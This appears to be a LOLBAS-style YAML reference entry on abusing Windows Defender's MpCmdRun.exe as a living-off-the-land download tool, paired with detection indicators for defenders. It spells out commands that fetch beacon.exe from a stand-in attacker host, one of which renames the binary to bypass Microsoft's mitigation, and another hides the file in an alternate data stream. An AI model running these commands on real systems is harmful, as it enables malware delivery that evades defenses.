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DownloadFile option has been removed from current MpCmdRun.exe, but old binary remains on disk. Defender cmd line mitigation can be bypassed by simply renaming the binary in a folder controlled by the attacker
57 lines
2.9 KiB
YAML
57 lines
2.9 KiB
YAML
---
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Name: MpCmdRun.exe
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Description: Binary part of Windows Defender. Used to manage settings in Windows Defender
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Author: 'Oddvar Moe'
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Created: '09/03/2020'
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Commands:
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- Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe
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Description: Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)
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Usecase: Download file
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Category: Download
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Privileges: User
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MitreID: T1105
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MitreLink: https://attack.mitre.org/wiki/Technique/T1105
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OperatingSystem: Windows 10
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- Command: copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url https://attacker.server/beacon.exe -path C:\Users\Public\Downloads\evil.exe
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Description: Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path) [updated version to bypass Windows 10 mitigation]
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Usecase: Download file
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Category: Download
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Privileges: User
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MitreID: T1105
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MitreLink: https://attack.mitre.org/wiki/Technique/T1105
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OperatingSystem: Windows 10
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- Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\nicefile.txt:evil.exe
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Description: Download file to machine and store it in Alternate Data Stream
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Usecase: Hide downloaded data inton an Alternate Data Stream
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Category: ADS
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Privileges: User
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MitreID: T1096
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MitreLink: https://attack.mitre.org/wiki/Technique/T1096
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OperatingSystem: Windows 10
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Full_Path:
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- Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe
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- Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe
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- Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe
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Code_Sample:
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- Code:
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Detection:
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- IOC: MpCmdRun storing data into alternate data streams.
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- IOC: MpCmdRun getting a file from a remote machine or the internet that is not expected.
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- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
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- IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
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- IOC: User Agent is "MpCommunication"
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Resources:
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- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus
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- Link: https://twitter.com/mohammadaskar2/status/1301263551638761477
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- Link: https://twitter.com/Oddvarmoe/status/1301444858910052352
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- Link: https://twitter.com/NotMedic/status/1301506813242867720
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Acknowledgement:
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- Person: Askar
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Handle: '@mohammadaskar2'
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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- Person: RichRumble
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Handle: ''
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- Person: Cedric
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Handle: '@th3c3dr1c'
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--- |